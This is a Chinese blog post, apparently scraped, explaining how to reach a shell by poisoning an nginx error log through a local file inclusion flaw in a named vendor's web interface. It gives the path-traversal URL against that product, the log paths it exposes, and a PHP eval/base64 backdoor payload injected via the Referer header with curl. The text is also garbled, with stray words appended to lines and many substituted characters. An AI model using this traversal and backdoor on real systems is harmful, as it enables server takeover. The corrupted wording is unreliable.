利用nginx日志结合本地包含漏洞GetShell

0前言

在WEB渗透测试中尤为是PHP,常常会挖到LFI漏洞,想要GETSHELL,但无奈没有文件上传的途径,这里给一个思路,抛砖引玉。php

近日施耐德电气爆出的漏洞,首先获得了一个本地包含,在这里做为靶目标使用。
本地包含css

1.本地得到利用思路

umotion/themes/schneider/include/css.php?css=../../../../../../../etc/nginx&theme=ivory&version=11028

1.1 获得nginx配置

经过文件包含,枚举获得nginx的配置文件。html

/etc/nginx/nginx.conf

配置文件
配置文件中得到了nginx错误日志的路径,且关闭了访问日志。nginx

error_log  /var/log/nginx_error.log;
access_log    off;

1.2 利用思路整理

那么咱们能够利用错误日志来构造合法的php代码,从而利用包含漏洞。web

下面能够很直观想到的几个问题:shell

  1. 什么时候才会向nginx错误日志写入错误内容。apache

  2. 如何控制咱们写入的内容。浏览器

  3. 若是遇到转义写入如何绕过。架构

目前知道的状况:curl

  1. 目标系统为nginx + FastCGI + php架构。

2.了解什么时候会向nginx错误日志写入内容。

经过观察日志能够很容易发现,若是请求为404/403等异常错误码,或者FastCGI返回出错信息,均会记录到nginx错误日志中,
错误信息

2017/06/15 17:27:37 [error] 23229#0: *29454 open() "/web/html/favicon.ico" failed (2: No such file or directory), client:

3.控制咱们写入的内容

能够很容易发现,咱们的请求PATH会被写入到错误日志中(请求路径不存在)。且携带咱们的IP信息,以及HTTP头部的referrer。那么咱们就能够利用这两点来构造。

4.绕过转义

这时候写入

<?php eval(base64_decode($__REQUEST[fob]));?>

咱们构造

host/xx/?<?php eval(base64_decode($__REQUEST[fob]));?>

若是经过webkit内核浏览器访问,webkit会自动转移,直接经过curl发送。
这里使用referrer来注入代码到错误日志中。还好nginx端没有进行任何转义,若是遇到转义则须要见机行事,构造可用payload。

注入代码

最后成功写入向错误日志中注入php代码。

5.总结

其实没什么技术含量,只是常常会遇到这种状况,包括各类日志,apache,nginx等。这里只提供一个思路。设置站点权限的时候,这些点能够关注下,包括读取日志获得敏感信息(后台,管理员信息等)。
本文永久地址[利用nginx日志结合本地包含漏洞GetShell],转载请注明出处。

相关文章
相关标签/搜索